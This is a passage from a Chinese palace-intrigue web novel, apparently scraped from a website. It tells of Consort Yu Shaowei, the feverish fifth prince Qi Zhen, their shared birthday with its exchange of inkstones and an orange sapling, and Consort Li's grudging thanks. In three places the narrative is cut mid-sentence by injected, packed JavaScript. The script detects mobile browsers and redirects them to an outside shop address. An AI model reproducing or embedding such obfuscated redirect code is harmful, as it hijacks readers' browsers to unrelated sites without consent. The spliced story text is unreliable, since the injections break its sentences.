“殿下,奴才先把门关上吧,外头凉您保重身子,若是着凉了,婕妤娘娘又该担心了。” 太监边说边小心去觑亓轸的表情,这位五殿下,素日待人不算严苛,他还是头一次见他这幅模样,心里不由得有些害怕。 亓轸若有所思地又看了眼门外,点点头:“关上吧。” 太监赶紧转过身去关门。 亓轸回到自己书案,盯着案前的槛窗看了两秒,随手拿了块镇纸将案上的东西压住,伏身将窗户推开。 霎时,寒风夹杂着数颗雪粒一股脑地扑向了他,激得他睁不开眼,混沌的大脑瞬间冷了下来,亓轸吐出一口浊气,又伸手将窗推得更远些。 太监一走进内室就看见亓轸光着脚站在窗前吹风,衣袍下摆被风掀起一角,面上却不见半分寒色,反倒透着几分难以捉摸的愉悦。他心头一紧,小心翼翼地挪到他身侧,未等站稳,便被迎面扑来的冷风糊了满脸,他慌忙往旁侧缩了缩,搓着冻得发红的手,怯怯地抬眼打量亓轸。 少年还是杵在原地一动不动,披散的黑发带着卷,在他身后张牙舞爪的飞舞,像是深渊怪物的触手。 太监莫名打了个寒噤,一股凉意顺着后颈攀爬而上,他又默默后退两步,侧过脸不敢再直视那道身影。 “晴雨阁那边情况如何?”亓轸吹够了风,偏头去看站在角落里的人。 “回,回殿下,晴雨阁已然熄了灯,宫人们说……婕妤已经就寝了。” 太监感觉自己不知怎么回事,明明刚才还冷得打寒颤,现在怎么又感觉热得冒汗?是错觉吗? “就寝?”亓轸重复了一遍,语调平缓,“你方才不是说,母妃出门了?” 不是错觉!太监清晰地感觉到汗珠滚过脸颊,他连忙将头埋得更低,声音细若蚊蚋:“婕妤……婕妤当时确实出了门,可不知为何,刚踏出院子门槛,便又折回去了。” “折回去了?”亓轸呢喃着,目光重新落回窗外的风雪里,声音轻得几乎要被风声吞没。 太监僵在原地,不知该如何接话,只好垂头毕恭毕敬的等待下文。 屋内却在这之后陷入沉静,呼啸的寒风撞在窗棂上,发出呜呜的声响,除此之外,竟连人的呼吸声都仿佛被冻住了般。太监下意识屏住鼻息,只觉心脏在胸腔里狂跳,震得耳膜发疼。 半响过去,依旧是无边的静,太监心头犯疑,恍惚间觉得,窗前的人或许早已悄然离去。 他按捺不住,悄悄抬眼—— !!! 浑身的血液仿佛在这一刻骤然凝固,身体被无形的手钉在原地,太监梗着脖颈,连眨眼都不敢。 大大敞开的槛窗前,亓轸依旧维持着方才偏头的姿势,大半的黑发顺着肩颈滑落,遮住了他大半张脸,只余下眉眼那一小片肌肤暴露在冷光里。月色映着院中的白雪,清冽的冷辉洒在他脸上,是一种近乎透明的苍白,唯有一双眼睛,绿莹莹的一双眼睛,一只隐没在乌发的阴影里,似明似暗,一只露在外面,一眨不眨,幽深的瞳仁里没有半分光亮,宛若旷野上悬空飘荡的鬼火。 还有那头发,那卷曲的黑色长发!几缕发丝仿佛有了生命,如触手般直直朝着他的方向伸探而来,似要将他拖入那无边的黑暗深渊。太监吓得浑身发抖,牙齿死死咬着下唇,直到尝到星点的血腥味,才勉强止住了即将脱口而出的尖叫。 他再也不敢抬头,逃离的念头如野火般在心底灼烧,细线似的理智栓着摇摇欲坠的神志,汗水大颗大颗的从下巴滚落到地上,仿佛砸出了声响。胸膛剧烈起伏,压抑的呼吸声越来越重,他拼了命地憋气,妄图将自己伪装成没有呼吸的死物。 “你下去吧。”空中轻飘飘的好像有东西在说话。 太监悚然一惊,下一秒如蒙大赦,几乎是连滚带爬地冲向门口,雕花的木门被他撞出“哐当”一声巨响,在寂静的夜里显得格外刺耳。 * “亓轸病了?”于少微满手面粉,惊讶地看向前来禀告的宫人。 “叫太医了吗?”她又道。 “还没……您让人去叫五殿下时,他屋里的人也才刚发现。”宫人支支吾吾道。 于少微眉头紧蹙,她就知道,昨天穿那么少绝对出事!只是现在也不是责怪谁的时候,她立马让人去喊太医,又让人给她打盆温水来洗手,急匆匆地往亓轸寝宫赶。 太医还未来,亓轸躺在床上,脸颊透着不自然的潮红,身边的宫女正拧着帕子给他擦脸,见于少微来了,赶忙跪下给她行礼。 于少微看见她这个样子就头疼,皱了皱鼻子,才道:“五殿下生病你们没有及时发现,照顾不周,罚你们一个月的俸禄,起来吧,别跪着了。” 宫女重重松了口气,她起身谢恩道:“谢婕妤仁善,奴婢一定,一定好好照顾五殿下!” 于少微点了点头,没再理会她。 “奴……奴婢去换盆热水来。”宫女觑着于少微的神色,小声禀道,见她全副心神都系在亓轸身上,似是未曾听见,便斟酌着端起一旁的铜盆,轻手轻脚地退了出去。 榻上的亓轸其实早就醒了,他倦怠地半睁着眼,目光一瞬不瞬地凝望着于少微,看她略略散乱的鬓发,额角不显眼的白色污渍,呼吸微微急促——定然是一路跑过来的。 亓轸缓缓垂下眼睫,心脏被一团莫名的情绪拉扯。 原来从晴雨阁到永和居,竟能这样快,他以为自己又要像昨夜那般,等上一刻钟,半个时辰,甚至更久…… 他看到她不似往常整洁的仪容,听到她为自己处置下人,她看向他的眼神是那么关切,他的目的达到了,她是在意他的,他以为自己会满足,却不想破烂的窟窿不但没有被填上,反而又撕开一道口子。 既然这般焦急,这般关心,那昨夜为何不来?为何不来问问他东宫到底发生了什么?为何留他一人在那窗下吹了整整一夜的寒风? 少年疲惫地闭上了眼睛,他心烦意乱,不想看她。 于少微不知他心里所想,只当他病得难受,上辈子母亲照料生病妹妹的模样忽然浮上心头,她下意识握住少年露在锦被外的手,贴在了自己微凉的脸颊上。 “嘶——好烫!”于少微不自觉呢喃出声,怎么烧得那么烫?这倒霉孩子是遭了多大的罪啊…… 亓轸只觉掌心一暖,紧接着,便贴上了一片冰凉柔软的肌肤,他心头猛地一颤,倏然睁眼,看见于少微俯身正用脸紧紧贴着自己的手。 他张嘴欲言,却发不出任何声音。 太医提着药箱来了,于少微赶忙退到一边让出位置,仔细瞧着太医诊断。 胡子花白的太医伸手探了探亓轸的额头,又细细翻看了他的眼睑,接着示意他张口看了舌 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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槐序愣了一下,随即点头应下,又忍不住问:“东宫那边……也需要特地去说吗?” “自然要去。”于少微眸光微沉,语气斩钉截铁。 若是没有昨夜淑妃那一遭,她或许只消同皇后说一声便罢了,可如今,她偏要明明白白地去东宫告假,免得有些人以为他们真的不来了。 回到厨房,于少微挽起衣袖,将醒好的面抻成细匀的长条,利落地下入翻滚的沸水之中,青阳守在一旁帮忙添柴、递碗,手脚麻利地打下手。 锅里的水咕嘟咕嘟地冒着泡,白腾腾的蒸汽裹挟着麦香漫开来,将两人笼在一片暖融融的雾气里。于少微握着长柄木勺轻轻搅动,看着面条在沸水里舒展翻卷,嘴里不自觉哼起了上辈子常听的小调,调子轻快,带着几分漫不经心的惬意。 青阳被这暖融融的气氛裹着,心情跟着轻盈起来,胆子便也大了些,一边擦着灶台,一边忍不住抬眼看向于少微,小声问道:“婕妤,昨晚您……怎么突然就回来了?” 于少微手上的动作顿了顿,挑眉看她,好笑道:“怎么,你觉得很奇怪?” 青阳摇头又点头,于少微好整以暇地看她:“到底是什么?” “有一点,一点奇怪吧。”青阳伸手比划了一下,“一点点。”她强调。 于少微“扑哧”一声被她逗笑,她笑着摇了摇头,又低头看了看锅里翻腾的面条,笑意才慢慢敛了下去。 青阳被她的反应弄得一脸懵,她的问题奇不奇怪她拿不准,但她的回答肯定是没什么好笑的,婕妤为什么一副听了天大笑话的模样? 于少微握着木勺搅动锅内的面条,看着它们随着滚水上下翻滚,氤氲的水汽中,青阳听到她似远方传来的朦胧声音 “我要他自己与我讲。” 23. 第二十三章 于少微带人提着食盒来到永和居时,亓轸已经洗漱收拾好,少年规规矩矩地坐在罗汉床上等着自己的早膳,因为生病,蔫蔫的模样让他看起来比往日软和许多。 于少微的心尖倏地一软,一股冲动猛地涌上心头,她该问问他的,现下问,也还不算迟。 关心的问语凝在嘴边,她张了张口,又硬生生地咽了回去,抿了抿唇,垂下眼帘,装作若无其事的模样。 亓轸将她那欲言又止的神态尽收眼底,心陡然悬了起来,眸底掠过一抹希冀。 于少微不敢看他这副模样,微微错开视线,从青阳手中接过食盒,低头将两碗热气腾腾的面条,一一摆到了小几上。 亓轸望着她的动作,方才亮起来的眼眸瞬间黯淡下去,失落之色溢于言表。 “这碗是你的。”于少微将一碗明显清淡许多的苗条轻轻推到亓轸面前。 亓轸低头看自己的清汤面,心里说不清是什么滋味,对面的人愿意早起为他做一碗长寿面,却吝啬于一句简单的问语。 空气中飘来一缕呛人的辛香,亓轸翕动鼻翼,混沌的脑子清明了几分。他抬眼望去,对面的海碗里装着一样的面条,只是上面多盖了一层红艳艳的,用小米辣、肉沫与酸豆角炒的臊子,一股说不清道不明的涩意漫上心头,他突然开始懊恼,昨夜非要去吹风的举动到底算不算明智。 “那就,祝我们生辰快乐!” 突兀的话语陡然响起,于少微雀跃的声音打断了他的思绪。亓轸呼吸一滞,抬眼望去,只见对面的女子眉飞色舞,双手合十对着面碗,眉眼间的笑意真切又鲜活,仿佛方才那片刻的凝滞与欲言又止,不过是他的一场错觉。 于少微早在亓轸低头时就用力强压下心底翻涌起的怨诉,她不想让那些糟心的东西毁了她在这个世界的第一个生日,刻意提起的欢快果然搅乱了凝滞的气氛,亓轸看着她发愣的样子比低头的模样顺眼多了。 再接再厉!她动作夸张地拿起筷子,打鼓似的敲了敲碗沿,企图将对面的人强拉进她刻意营造的氛围之中。 但很显然,她有心,对面的人却不太配合,两人最终安安静静地吃完了长寿面。 宫人上前收拾桌子,两人的目光不约而同地黏在那些杯盘碗碟上,依旧是缄默无言。等桌面收拾干净,一壶热气腾腾的红枣桂圆茶被端了上来,为了掩饰这尴尬的寂静,于少微索性低下头,专心致志地数起沉在壶底的红枣。 “灌个手炉过来。”亓轸率先打破沉默。 于少微耳朵轻轻一颤,猛地抬起头,干笑道:“啊……是是是,这天儿确实冷得厉害,你病着,是该多捂捂。” 亓轸瞥了她一眼,端起自己的茶杯,没有说话。 宫人很快将灌好热水的手炉送了过来,亓轸抬眸看向于少微:“给母妃。” “欸欸……是给我的啊?好,好的……”于少微一时有些发懵,手比脑子先一步伸了出去,等回过神时,那只温热的手炉已经稳稳落在了掌心。 “额……要不还是你拿着吧,我又没生病。”总觉得这手炉烫得慌,她又殷切地将手炉往亓轸面前推。 “您拿着吧。”亓轸微不可闻地叹了口气,一副少年老成的模样。 于少微悻悻地收回了手,心里忽然憋了点气,奇怪的很,倒显得他俩身份颠倒似的。 “谢谢啊。”她小小声道。 亓轸摇摇头,定定看了两眼握着手炉喝红枣桂圆茶的于少微,又转头交代站在一旁伺候的禄子去东宫替他告假。 “不用去了,我已经让槐序去过了。”于少微放下茶杯,两手捂在精致小巧的手炉上,不咸不淡的开口。 亓轸毫不意外,挥手让人退下。 “您今日也不去未央宫吗?” 于少微斜睨了他一眼,煞有介事道:“我也告假了,为了你。” 亓轸“嗯”了一声,安安静静的喝茶。 于少微一噎,他这个反应她实在没法子接。 “你好生歇着吧,药已经在熬了,等会儿让人给你送过来。我早起揉面也累了,也想回寝宫歇会儿,午膳还是在你这儿用。”她实在受不了这屋里沉闷的氛围,故意装出一副疲惫的模样,掩着嘴打了个哈欠。 “母妃慢走。”亓轸歪头看她,目光清亮。 于少微莫名有种自己的拙劣表演被拆穿的羞耻,僵硬地转过头,端起架子对着屋内的宫人道:“照顾好你们的殿下,有事让人去晴雨阁找槐序。” 说罢,扶着青阳匆匆离开了永和居。 * 回到晴雨阁,槐序立马迎了上来,于少微注意到桌上多了一大一小两个匣子,好奇道:“这些是?” 槐序笑眯眯的,指着两个匣子介绍道:“这个大的是皇后娘娘送您的生辰礼。” 于少微抬手掀开匣盖,里头铺着一套蜀锦被面,绣纹繁复精巧。 “皇后娘娘说,瞧着您往日里总爱坐她宫里的蜀锦软垫,便特意寻了这套送来。”槐序在一旁补充。 于少微笑笑,她在皇后宫里最喜欢坐那个垫子,每次她来皇后都会让人给她摆上。于少微爱惜地摸了摸上面的刺绣,叮嘱道:“年三十晚上给我换上。” “另一个呢?”于少微又去开另一个匣子,一对羊脂白玉镯躺在红色的绒垫上。 “是陛下赏赐的。”槐序也去看那对玉镯,有些欣喜道:“奴婢去未央宫时正巧碰到陛下也在,陛下听说了您的生辰,让人去取了这个匣子给奴婢,奴婢原也不知道里面是什么。” “倒真是漂亮。”于少微将玉镯套上手腕,对着光细细端详。 槐序连忙附和:“可见陛下是极爱重婕妤的。” 于少微淡淡一笑,将另一只镯子也戴好,话锋一转:“陛下可知道五殿下病了?” “奴婢提了一嘴,陛下还关切地问了几句,奴婢都一一回了。” “东宫那边呢?” “太子殿下听说了后表情似乎有些懊悔,说要亲自去看五殿下,四殿下倒是没什么反应,只是在听到太子殿下要去探望时表情有些不耐。” “娘娘…昨日是发生了什么吗?”槐序不解道。 昨晚的谈话槐序不在,自是什么都不清楚,不过于少微不想再谈此事,只是摆摆手,语气疏淡:“把东西收好,我想去歇会儿,午膳前叫我。” 永和居里,亓轸喝过药,依旧坐在罗汉床上没动,方才庆帝派人送来了生辰礼,还特意问了他的身体。少年望着案上那方前朝名砚,这是他头一回收到父皇的生辰赏赐,心头却没有半分预想中的欢喜,他恹恹地伸出手指,一下下描摹着砚台边缘的纹路,只觉索然无味,想起于少微说要回去歇息,倦意也跟着漫了上来,他起身缓步踱回榻边,和衣躺下。 刚阖上眼,门外便传来一阵轻响,禄子轻手轻脚地进来通报:“殿下,太子殿下和四殿下过来了。” 亓轸眉头微蹙,他此刻实在没心思应酬二人,他朝禄子使了个眼色,后者立马意会,连忙快步迎出去,对着刚踏入门槛的两位殿下躬身道:“二位殿下恕罪,我家殿下刚喝过药,已然睡下了,这会儿还未醒呢。” 亓轩一听这话,当即扯了扯太子的衣袖,连声催促:“睡着了有什么好看的,咱们走吧。” “小声些。”太子无奈低斥一句。 亓轩撇撇嘴,一脸满不在乎的模样。太子瞧着他这般神态,无奈地叹了口气,转头对禄子和颜悦色道:“既如此,便让五弟好生歇着吧,我让人送了些药材过来,你让人好生收着。” 禄子忙跪地谢恩。 榻上的亓轸迷迷糊糊听着外头的动静,汤药的效 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16903615|191471||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 力渐渐涌上来,困意愈发浓重,等禄子轻手轻脚地回来复命时,少年早已沉沉睡去。 即便在睡梦中,他的眉头依旧紧紧蹙着,睡得并不安稳。禄子自丽贵人还在时便跟着亓轸,这么多年下来,对这位殿下的性子也算有些了解,可眼下这般光景,他也是束手无策,只能暗暗盼着,晚间那些生辰礼能让殿下的心情好些。 午膳时分,待宫人将饭菜一一摆上小几,于少微才姗姗而来。她手中拎着一只小巧的木匣,里头装着一方端砚,是她特意托人出宫从一个岭南商人手里高价买来的,专作亓轸的生辰礼。 亓轸也才刚起,于少微坐在罗汉床上等他,目光无意间扫过小几一角,竟也摆着一方砚台。那砚台造型古朴,石质细腻滋润,瞧着便颇有年头,她不由得好奇问道:“这方砚台是从哪儿来的?我先前怎么没在你这儿见过?” 禄子连忙答道:“是陛下派人送来的生辰礼。” 于少微心里顿时咯噔一下,脸上掠过一丝失落,好嘛,和人家爹送重了礼,而且瞧着品相,自己这方还远不及人家的好。 禄子见她脸色凝重,以为是自己哪句话说错了,心头暗叫不好,正绞尽脑汁想找些话来圆场,亓轸已经掀帘走了出来。 少年一眼便察觉到于少微的不对劲,飞快地瞥了禄子一眼,见他轻轻摇头,心里竟也莫名泛起一丝忐忑。 “来了啊。”于少微抬眼看向他,语气里带着几分无精打采。 亓轸默不作声地将横在两人中间的那方御赐砚台挪到一旁,语气里带着歉意:“让您久等了。” 于少微不甚在意地摇摇头,目光却被他挪砚台的动作勾了去,少年的动作随意得很,似乎……不是很在意? 于少微心情更差了,皇上送的都不喜欢,她送的还能喜欢吗?可是……不送?她立马摇头,不送这个她也没别的送了,再说,这礼物花她不少钱呢…… “您怎么了?” “母妃,母妃!” 于少微猛地回过神,只见亓轸正撑着桌子探过身来,表情混杂着担忧与疑惑。 “没……没事。”她挤出一个微笑,将手边的木匣往他面前推了推,“打开看看吧。” “这是……给我的吗?”亓轸的眼睛倏地亮了起来,语气里满是惊喜。 “嗯……可能……你未必会喜欢……” 于少微的话还没说完,亓轸已经迫不及待地掀开了匣盖。他小心翼翼地将那方端砚捧在掌心,眼睛亮晶晶的:“谢谢母妃,儿臣很喜欢!” “……不喜欢的话……欸?!”于少微惊得脱口而出。 “您说什么?”亓轸没听清后半句,只低头用指腹细细摩挲着砚台细腻的石质。 “啊,没什么。”于少微朝被挪到角落的那方砚台瞥了一眼,又瞧见亓轸捧着自己送的这方,那副爱不释手的模样,犹豫了一下,还是开口道:“我先前不知你父皇也送了砚台。”她朝角落里指了指,语气里带着几分赧然,“我这方,自然是比不上国君赏赐的那般珍贵……” “您不能这么说。”亓轸迫不及待地打断于少微的话。 “父皇送的是很好,但这都比不上您的心意。”少年眼睛亮晶晶的,闪着赤诚。 于少微突然眼底一热,还从未有人这样看着她对她说这样的话,她一时不知该作何反应,掩饰性的垂下眼,故作轻松地打了个哈哈:“好了好了,知道你喜欢就好,这话可万万不能让旁人听了去……” 她顿了顿,话锋一转,带着几分狡黠问道:“那我呢?我的生辰礼呢?” 亓轸本欲再言,但看见于少微不愿再听的模样,只好道:“有的,您随我来。” 于少微跟着他绕过屏风,只见少年的书案上,赫然摆着一只陶盆,盆里栽着的,竟是一株……歪歪扭扭的小树苗? 24. 第二十四章 “我听说……您喜欢金毬……”亓轸有些忐忑地看向于少微,实际上,到了现在,他也没弄清自己为什么会送这个。 他总是会不自觉回想那日的场景,疏淡的嗓音,怅然的面容,萦绕在屋内久久未散的清香,她周身如有结界,湿润而忧伤,他站在角落暗暗失神…… “金毬是?”于少微面上浮出几分疑惑。 亓轸一愣,忐忑之情骤然消散,立马改口道:“就是香橙。” “喔——”于少微恍然大悟,又有些惊讶道:“所以……这是一株橙树?” 亓轸颔首。 于少微突然捂住嘴,一双眼睛眨也不眨直溜溜地盯着面前的礼物,心中似瞬间涌上万般感念,又似空空如也。她一下子不知道该如何形容自己现在的感觉,如何形容面前的这株绿叶颤颤的小橙树 “…这,它,它在这里活不了吧?” “我查了好些书,也问过宫里的花匠,把它养在花房里兴许能活。” “花房,花房,对,我要搭个花房……”于少微嗯嗯点头,边说边往外走。 “……母妃!” 亓轸眼睁睁看着人就要走出门了,赶紧出声将人叫住。 “怎么?啊,哦哦哦对苗没拿!”于少微回头看见少年与橙树,飞快折返,一把抱起了陶盆。 亓轸赶紧走上前拦住她的去路,无奈道:“不着急的,咱们先用午膳吧。” 于少微下意识摇头,抱紧怀里的陶盆绕过少年继续向前,亓轸赶忙追上去又喊了两声:“母妃!母妃” 于少微总算回过神来,意识到自己干了什么蠢事,她一瞬间走也不是停也不是,就这么僵在原地,等亓轸来到她面前。 “我帮您拿着它吧?”亓轸伸手想要接过陶盆。 于少微后退一步摇摇头,意识到自己的动作后,有些尴尬地笑了笑:“不用不用,我想自己拿着……要吃饭是吧?走吧赶紧的,我都饿了哈哈哈。” 两人对坐,中间摆着丰盛的菜肴,栽着橙树的陶盆被于少微安置在自己旁边的椅子上,于少微吃得有些兴味,目光是不是往旁边瞟,亓轸见她心不在焉的样子有些好笑,心里的郁气不知不觉散了大半 “您很喜欢?”他故意问了一个显而易见的问题。 于少微点点头,还是有些担心道:“它真的能活吗?这儿那么冷,它被冻得叶子都没有几片,可怜见的。” “咱们一起试试?说起来,这株树苗是我买的那一批中唯一活下来的,您要对它有信心。”亓轸表情含笑。 于少微有些吃惊:“它这么厉害啊。” 亓轸笑笑:“大概是天意吧,它注定是属于您的。” 于少微注视着少年柔和明亮的双眼,心里有一种说不出来的舒畅感,她呵呵地给亓轸盛了碗白萝卜丝沙白汤,又好奇道:“你为什么会觉得我喜爱橙,额…金毬?” 亓轸顿了顿,轻轻道:“那日我在您寝宫。” 于少微疑惑:“哪日?” 亓轸抿了抿唇,“您与瑛嫔与瑾嫔吵架那日。” 于少微有些愣怔,嘴里喃喃道:“那日啊……” 那日与瑛嫔瑾嫔不欢而散,她回来后就恹恹地歪在卧榻上,青阳瞧着她这般失魂落魄的模样,心下着急,噔噔噔小跑着出去,不多时便捧了个果盘回来。盘中是今年头茬的新橙,被人细细剖成了莲花模样,酸甜的果香漫了满室,旁边还搁着一方乌瓷小碟,盛着雪似的细盐。 “并刀如水,吴盐盛雪,纤手破新橙。” 她低低吟出这句词,唇齿间漫过一丝怅然,目光凝在橙瓣上,却迟迟没有动作。 “婕妤是瞧着不喜欢?”青阳见她只看不吃,一颗心悬了起来,小声问道。 于少微幽幽叹了口气,眼角倏地漫上一抹湿意,她却似浑然不觉般,只怔怔望着盘中鲜亮的橙黄,声音很轻:“你可知我自小便有个愿望?” “我盼着有人能为我亲手剥一只橙子。”她自顾自说地着,语气里的寂寥像潮水般漫了开来。 满室的橙香里,无端掺了几分化不开的悲戚,青阳望着她眼底的落寞,只觉心口一阵酸胀,鼻尖发酸,竟也跟着红了眼眶。 “婕妤莫不是想吃别的?这劳什子惹您伤心了,奴婢这就端下去换一盘!”她说着便要伸手端走果盘。 于少微的神色一黯,轻轻摇了摇头。 青阳的手顿在半空,又小心翼翼地将果盘放回原处,垂首安静地立在一旁。 半晌,于少微忽然牵起一抹苦涩的笑:“与这新橙有什么相干呢,我平生最爱的原就是它。” “真的?”青阳满脸怀疑。 “自然是真的。”于少微缓缓起身,葱白的指尖拈起一瓣新橙。 北地路遥,舟车辗转不易,这橙子是未等熟透便摘了下来,一路颠簸着运到京中的,皮上还带着几分青黄。她轻轻剥去薄皮,蘸了点细盐将橙瓣送入口中,盐粒的咸鲜压下了几分酸涩,激出一股清冽的甜,她就这样样静静坐着,将一整盘橙瓣尽数吃完了。 “您那日说……”亓轸顿了顿,“您说希望有个为您剥橙子的人,是什么意思?” 于少微夹菜的动作顿住,抿紧双唇,敛眉垂眼低低道:“不过是年少时不可得之物罢了。” 亓轸还欲再言,于少微却不想说了,抬手打断道:“快吃吧,吃完你歇会儿就把药喝了,我要去找人搭花房。” 亓轸见她一副不欲再言的模样,深深看了她一眼,沉默点头,没有再问。 午膳过后,于少微扔了碗筷就急匆匆地抱着她的宝贝树苗回了晴雨阁,亓轸被独自撂在最后,眉毛纠结地拧了起来,他突然开始怀疑,自己这礼是不是送的不对? 御花园的花匠早已在晴雨阁候着了,于少微连寝宫的门都没进,直接带着人在自己的小院转了起来,最后选了一处背风的角落,那原本是一株垂丝海棠,于少微命人在旁边清出一块空地,召集人当场就搭起了花房。 忙忙碌碌一下午,待到太阳西斜,晚霞烂漫之际,暖房总算搭好,于少微谢绝所有人的帮助,亲自拿着铲子挖了个土坑,小心翼翼的将橙苗移植进去。 大功告成,她愉快的拍了拍手上的尘土,让槐序把来干活的人都带下去领赏,自己则蹲在恢复安静的暖房里面。 橙树苗刚及她膝盖,树杈子也没几枝,看着实在伶仃瘦小的很,难以想象它以后将会长成枝繁叶茂、硕果累累的模样。 于少微戳了戳顶端的嫩叶,小声嘀咕:“你怎么那么小啊?要多久才能挂果啊,我等得到你吗?” 自是没有回应。 “我好好照顾你,你长快些,我想明白了,我要自己种橙子吃。”于少微抚过橙树苗的枝干,低头喃喃道。 一缕风从暖房未闭合的门缝里钻了进来,枝丫上零星几片叶子随之轻轻摇晃,于少微又看了几眼,撑起身子离开。 刚合上花房的门,她就远远瞧见自己宫门处立了一个人影,那人似是来找她的,一见她就径直朝暖房的方向走了过来。 傍晚光线昏暗,也还未亮灯,待人走近了,于少微才认清来人——竟是本应禁足的李婕妤。 于少微警惕地后退了一步,左手抓紧花房的门把手。 “你不是在禁足吗?”她语气毫不客气。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16912622|191471||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 李婕妤停在离她差不多五步远的地方,见她这副警惕的模样,眉毛立即挑的高高的,语带炫耀:“我兄长前日得胜回朝,陛下立马解了我的禁足,不仅如此,还来秋水居看了我。” 于少微暗嗤一声,难怪中秋家宴让皇后下旨罚人,原是有靠山呢。 于少微看不惯她趾高气昂的模样,冷冷道:“那你来我晴雨阁作甚?怎么,专门来通知我你自由了?” 李婕妤表情瞬间垮了,气得直跺脚,于少微将花房门拉开,时刻准备着退进去。 “你…!”李婕妤看到于少微一副如见瘟神的模样,气不打一处来,恨不得把东西扔了就走,但想到青兰出门前的叮嘱,到底还是忍住了冲动,强压着不耐哼哼道:“我不是来找你吵架的!” “噢?那是来干嘛的?总不能是来祝我生辰的吧?” 于少微双手抱在胸前,一副嫌弃的模样。 李婕妤:…… “给你!”她突然上前几步,将一个巴掌大的锦盒塞到于少微怀里。 于少微:“?” 见她一脸懵傻的模样,李婕妤心里快活了一些,也学她抱着手臂哼哼道:“送你的生辰礼。” “生辰礼?你送我?”于少微语调突然拔高,恨不得把怀里的东西扔掉。 “你敢!”李婕妤大喊一声。 “你给我拿好了!这可是我兄长从西域带回来的,是宫里没有的稀罕玩意儿!”她攥紧拳头,努力抑制自己的怒火。 听见是好东西,于少微立马换了个姿势,将锦盒稳稳攥在手里,满脸警惕:“你好好端端送我生辰礼作甚?你可别忘了,你不久前才陷害我失败。” 李婕妤闻言翻了个大大的白眼,嗤道:“你最后不是没事吗?而且我也受罚了啊!” 于少微被她给气笑了,摇了摇手上的盒子,语气冰冷:“你有什么事就快点说,说完赶紧滚,带着你的稀罕宝贝一起。” 李婕妤气得仰倒,当即转身就走,只是没走出多远,她又突然停了下来,站在原地狠狠地跺了几脚,再猛地一个转身,原路返回。 于少微见她一副荆轲刺秦,壮士去兮大义凛然的模样朝自己走回来,当即忍不住笑出了声,李婕妤立即停住脚步,站在原地愤愤地瞪她。 “行了,到底有什么事快说吧。”风突然大了些,于少微不动声色地缩了缩脖颈。 李婕妤却突然支吾起来,见状,于少微冷哼一声,做势要走,她这才犹犹豫豫道:“我……我是来道谢的……” “道谢?”于少微眉毛扬起,“青兰?” 听到这个名字,李婕妤忽然整个人泄了力气,讷讷点头。 “她还好吧?” 李婕妤语气也软了下来,认真道:“青兰现在已经能下床先走了,太医说再养半个月就可好全了。” 于少微也松了口气,“那就好。” 李婕妤突然有些复杂看着她,犹豫了一下,还是道:“你为什么要帮我?” 于少微摇头,“我没在帮你。” “可你让人给青兰送了药,还为她请了太医!” “我同样为那个太监做了这些事。” “可,可青兰是我宫里的人……”李婕妤声音越来越小。 于少微不欲再言,只道:“我帮她与你无关,礼物我收下了,谢谢我就不说,反正我应得的,你快回吧,以后也别来了,我是很想在我宫中见到你。” 意料之外,李婕妤没有生气,只是深深的看了她一眼,目光带着审视与不解,于少微懒懒地回了她一个眼神,她终究没再说什么,转身带上自己大氅的兜帽,离开了。 25. 第二十五章 元宵刚过,宫里就已经进入忙碌的氛围,万众瞩目的番夷宴就要来了。 谢贵妃自认为此事头领,年前就向庆帝请命,以“兹事体大,关乎天朝颜面”为由,请求成立一个临时的“番夷宴”筹备司,在后宫中由皇后统领,她与淑妃协助,然而由于皇后开年后身体愈发不适,实际的统领实为谢贵妃。 谢贵妃背后的谢家在军中颇有力量,随着时间临近,她又以“番邦礼仪生疏,恐失我朝体面”为由,向庆帝请旨,由其兄长负责各国番使入京后的沿途安保与驻驿安排。 庆帝应允的消息传入怡春宫,于少微此时正奉皇后的命令来询问关于番夷宴的一些事项,本来还一脸温和端正的淑妃听到贴身宫女传来的消息,脸色霎时沉了下去,她紧攥着手中的茶杯,额角青筋几不可察地跳了跳,似是碍于于少微在场,终究没发作,只从牙缝里挤出一句:“贵妃这下可是捞着条大鱼。” 虽然她极力稳住自己的语气,但略显急促的呼吸仍然暴露出她内心的焦躁与气氛,她忽然抬眼去看于少微,却见对方垂着眸,慢条斯理地啜着茶,仿佛什么都没听见。 “此事皇后娘娘可知晓了?”文淑妃道。 于少微摇头,“皇后娘娘未与臣妾提起。” 文淑妃斜了她一眼,见其表情茫然的样子,忽然想到她虽是陈皇后派来协助她与贵妃的,但一直是自己宫里的人,且与贵妃有隙,若再能从她这里透些风言风语出去……思及此,她又换上一副和善面容,徐徐道:“于婕妤可有不解?” 于少微迟疑了一下,轻轻点头。 “你可知贵妃的兄长乃当朝镇国将军?” 于少微颔首,她不但知道这个,还知道李婕妤的兄长是其副将,年前一起得胜回朝,李婕妤和贵妃在宫中好大的风光。 淑妃话锋一转:“那你可知,如今边疆的军饷已是亏空得厉害?” 于少微瞪圆了眼,她怎么会知道这个,额……这是她能听的吗? 